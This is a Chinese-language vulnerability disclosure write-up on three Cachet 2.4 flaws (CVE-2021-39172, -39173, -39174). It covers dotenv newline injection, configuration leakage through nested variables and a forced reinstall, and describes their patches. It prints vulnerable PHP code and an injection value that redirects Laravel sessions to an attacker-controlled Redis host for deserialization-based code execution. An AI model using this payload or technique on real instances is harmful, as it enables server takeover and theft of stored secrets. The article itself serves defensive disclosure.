Cachet 2.4:通过Laravel配置注入执行代码

状态页面已成为所有软件即服务公司提供的一项基本服务。为了促进其普及,初创企业迅速推出了状态页面即服务,并提供了开源自托管替代方案。Cachet,有时也称为CachetHQ,是一个广泛采用的状态页面系统,用PHP编写,并拥有众多社区分支,例如fiveai/Cachet

攻击者破坏Cachet实例具有丰厚回报,因为它们存储了各种服务的秘密,如缓存、数据库、邮件服务器等。这一基础设施的初始立足点有助于他们深入受影响公司的内部网络,并进行进一步攻击。本文中,我将介绍我的团队和我发现的Cachet 2.4中的三个安全漏洞的技术分析,这些漏洞可能使攻击者能够控制服务器。

影响

我们在Cachet的最后一个官方版本(2.3.18)以及开发分支(2.4)上验证了这些漏洞的利用。攻击者若要利用这些漏洞,需要一个具有基本权限的有效用户账户,这一场景可通过以下方式实现:

  • 利用每年泄露的大量账户进行凭证填充。
  • A compromised or malicious user. 
  • 同一范围内存在的跨站脚本漏洞。
  • 利用CVE-2021-39165,这是一个在2021年1月修复的Cachet预认证SQL注入漏洞。

漏洞1:CVE-2021-39172

我描述的第一个漏洞(CVE-2021-39172)是一个换行注入漏洞,当用户更新实例配置时发生,例如电子邮件设置。它允许攻击者注入新的指令并改变核心功能的行为,导致任意代码的执行。

下面的视频展示了该漏洞的利用过程。为了演示,执行了几个手动步骤,但攻击者可以将其自动化:

来源:Sonar YouTube

漏洞2:CVE-2021-39174

第二个漏洞(CVE-2021-39174)也与该功能相关,允许攻击者提取存储在配置文件中的机密信息,例如SMTP服务器密码、应用程序加密密钥等。

漏洞3:CVE-2021-39173

最后,最后一个漏洞(CVE-2021-39173)相对简单,允许绕过已完全配置实例的设置过程。这样,攻击者可以诱使Cachet实例使用他们控制下的任意数据库,最终导致任意代码执行。

针对这三个漏洞的补丁已在FiveAI分支的2.5.1版本中提供。

技术细节

本节中,我将详细描述每个漏洞的技术细节以及社区分支最新版本中对其进行的缓解措施。

CVE-2021-39172:远程代码执行

Cachet仪表盘向非管理员用户暴露了多个配置视图,用于更改实例名称、邮件服务器设置等。应用级持久设置存储在数据库中,而其他框架级值则直接保存在应用的配置文件内。Laravel框架采用dotenv配置文件,其格式类似于在shell脚本中声明环境变量。第三方库此处实现了对此的支持。

在更改邮件提供商设置时,控制器实例化了一个UpdateConfigCommand类对象。在命令总线上下文中,Laravel命令是将应用特定逻辑从控制器中移除的一种方式;它们会在对象上调用execute()时同步执行。这发生在[1]处:

app/Http/Controllers/Dashboard/SettingsController.php:

PHP

 

<?php
public function postMail()
{   
     $config = Binput::get('config');   
     execute(new UpdateConfigCommand($config));            // [1]    
     return cachet_redirect('dashboard.settings.mail')        
          ->withInput(Binput::all())       
          ->withSuccess(trans('dashboard.notifications.awesome')); 
}

关联处理程序UpdateConfigCommandHandler负责通过替换现有条目来修改现有的dotenv文件。

该处理程序UpdateConfigCommandHandler可在两个不同位置被代码触发:

  1. SetupController@postStep3:安装过程的最后一步。一旦实例安装完成,此代码路径将无法再次到达;
  2. SettingsController@postMail:当更新与邮件服务器相关的dotenv条目时。

它首先会评估整个配置文件以填充进程环境([1]),确定是否已定义要更新的指令([2]),并用新值替换该条目([3]):

app/Bus/Handlers/Commands/System/Config/UpdateConfigCommandHandler.php

PHP

 

<?php
class UpdateConfigCommandHandler
{    
    // [...]    
    public function handle(UpdateConfigCommand $command)   
    {       
       foreach ($command->values as $setting => $value) {          
             $this->writeEnv($setting, $value);      
       }   
     }   
    // [...]   
    protected function writeEnv($key, $value)  
    {      
      $dir = app()->environmentPath();       
      $file = app()->environmentFile();       
      $path = "{$dir}/{$file}";        

      try {          
          (new Dotenv($dir, $file))->load();       // [1]              
          $envKey = strtoupper($key);          

          $envValue = env($envKey) ?: 'null';      // [2]           

         file_put_contents($path, str_replace(    // [3]              
              "{$envKey}={$envValue}",                        
              "{$envKey}={$value}",             
              file_get_contents($path)                   
         ));       
      } catch (InvalidPathException $e) {           
         throw $e;      
     }   
  } 
}

对传入数据不进行验证:只要配置条目已存在,它就会被来自参数的值替换。如果攻击者提供包含换行符的值,它将在dotenv文件中创建新的条目,并可能改变框架级别的功能。

注意:在dotenv文件中,只有变量的第一个定义会被使用;后续的定义将被忽略。

在Laravel项目中,这一基本操作足以实现任意代码执行。初始的dotenv配置文件在大多数实例中可能看起来像这样:

.env

Shell

 

APP_ENV=production
[...]
DEBUGBAR_ENABLED=false
DB_DRIVER=sqlite
[...]
DB_PREFIX=
CACHE_DRIVER=file
SESSION_DRIVER=file
QUEUE_DRIVER=array
MAIL_DRIVER=smtp
MAIL_HOST=foo
[...]
REDIS_HOST=null
REDIS_DATABASE=null
REDIS_PORT=null

攻击者可以替换CACHE_DRIVER键,并将他们控制下的Redis服务器注册为新的会话后端:

Shell

 

file\nREDIS_HOST=some.remote.server\nREDIS_DATABASE=0\nREDIS_PORT=6379\nSESSION_DRIVER=redis

在发送一个将CACHE_DRIVER设置为此值的请求后,dotenv文件将呈现如下内容:

.env:

Shell

 

APP_ENV=production 
APP_DEBUG=false 
APP_URL=http://cachet.internal 
APP_TIMEZONE=UTC 
// [...] 
CACHE_DRIVER=file 
REDIS_HOST=some.remote.server 
REDIS_DATABASE=0 
REDIS_PORT=6379 
SESSION_DRIVER=redis 
SESSION_DRIVER=file 
QUEUE_DRIVER=null
// [...]

由于Laravel会话使用PHP原生格式进行序列化,它们通过函数unserialize()进行解析。这是一个已知弱点,可以通过使用一系列特制的对象序列,即所谓的“pop链”,来利用该弱点执行任意代码。工具PHPGGC能够为Laravel项目生成这样的链。

可能还存在其他利用dotenv文件中新行注入实现命令执行的方法,但我们并未在此方向上进行更深入的研究。我的团队和我很好奇您是否了解其他技术!

CVE-2021-39174: 配置泄露

正如前一节所述,攻击者可以直接读写存储在dotenv文件中的值。向该文件写入内容最终会导致任意代码执行,但这是否也可以被利用,因为该文件的值会在界面中显示?

vlucas/phpdotenv的文档描述了其支持嵌套变量赋值:在声明变量时,可以使用${NAME}语法引用先前声明的变量。

这一特性十分便捷:通过在dotenv配置文件的条目中引用其他变量,并在界面中展示该条目,可以揭示其他变量的值。

已有广泛的文档指出,如果会话驱动设置为cookie,泄露APP_KEY可能导致代码执行,并且这一机制也可用来泄露DB_PASSWORDMAIL_PASSWORD,进而实施进一步攻击。

CVE-2021-39173:强制重装

若实例已安装,则无法访问安装页面,这一限制由中间件实现。SetupAlreadyCompleted:

app/Http/Middleware/SetupAlreadyCompleted.php:

PHP

 

settings->get('app_name')) {               
                  return cachet_redirect('dashboard');          
             }      
         } catch (ReadException $e) {          
            // 未设置完成!      
         }        
         
         return $next($request);   
  } 
}

检查仅依据设置的值:如果未定义或为空,中间件将判定实例已安装。

若您好奇还有哪些值在PHP中可被视为假,以下是截至PHP 8版本关于比较操作时类型系统的简要概述。比较可通过相等性检查(==)或同一性检查(===)进行。相等性检查不考虑操作数类型,字符串在比较前可被转换为数字。此特性被称为“类型杂耍”,并已在多个实际漏洞中被利用(如CVE-2017-1001000、CVE-2019-10231)。在上文所述的比较情境中,任何等于空字符串或“0”的值都将被视为false,从而允许访问设置页面。

SettingsController@postSettings中更新设置时,app_name的值未经过验证,位置为[1]:

app/Http/Controllers/Dashboard/SettingsController.php:

PHP

 

<?php
class SettingsController extends Controller
{  
   // [...]   
   public function postSettings()  
   {      
       $setting = app(Repository::class);      
       // [...]      
       $parameters = Binput::all();       
      // [...]      
      $excludedParams = [           
        '_token',          
        'app_banner',          
        'remove_banner',          
        'header',           
        'footer',           
        'stylesheet',      
     ];       
     try {          
         foreach (Binput::except($excludedParams) as $settingName =>
 $settingValue) {              
                if ($settingName === 'app_analytics_pi_url') {                      
                        $settingValue = rtrim($settingValue, '/');             
                }              
                $setting->set($settingName, $settingValue); // <-- [1]
// [...]

因此,已认证用户可将其更改为一个评估结果为假的值,随后再次访问/setup以重新安装实例,创建新的管理员账户(权限提升),或利用我们首次发现的漏洞实现代码执行(请记住,UpdateConfigCommandHandler也可通过此路径被利用)。

**补丁**

针对新行注入漏洞(CVE-2021-39172),已在UpdateConfigCommandHandler中加强了对传入值的验证,拒绝包含换行符的任何修改。

配置泄露漏洞(CVE-2021-39174)的修复较为复杂,因为现有依赖导致无法导入最新版本的dotenv库。因此,我们将相关代码移植,使命令处理程序能够识别值中是否包含嵌套变量。

最后,由于受影响中间件中增强的检查,无法强制重新安装现有实例(CVE-2021-39173)。

时间线

DATE ACTION
2021-03-26 Issues reported by email to the official security disclosure address of the upstream project.
2021-06-25 We send the security issues and patches to the community-supported fork (fiveai/Cachet).
2021-08-27 Release 2.5.1 of the FiveAI fork is published, with fixes for CVE-2021-39172, CVE-2021-39173, and CVE-2021-39174.

总结

本文中,我分析了Cachet中的三个漏洞,并展示了如何仅凭基本用户权限通过Laravel配置文件接管实例。同时,我还阐述了维护者应用的补丁以及它们如何阻止我所演示的攻击。

最终,我和我的团队想要感谢FiveAI分支的Cachet维护者,他们及时且专业地认可了我们的建议并修复了这些漏洞。

Source:
https://dzone.com/articles/cachet-two-four-code-execution-via-laravel-configuration-injection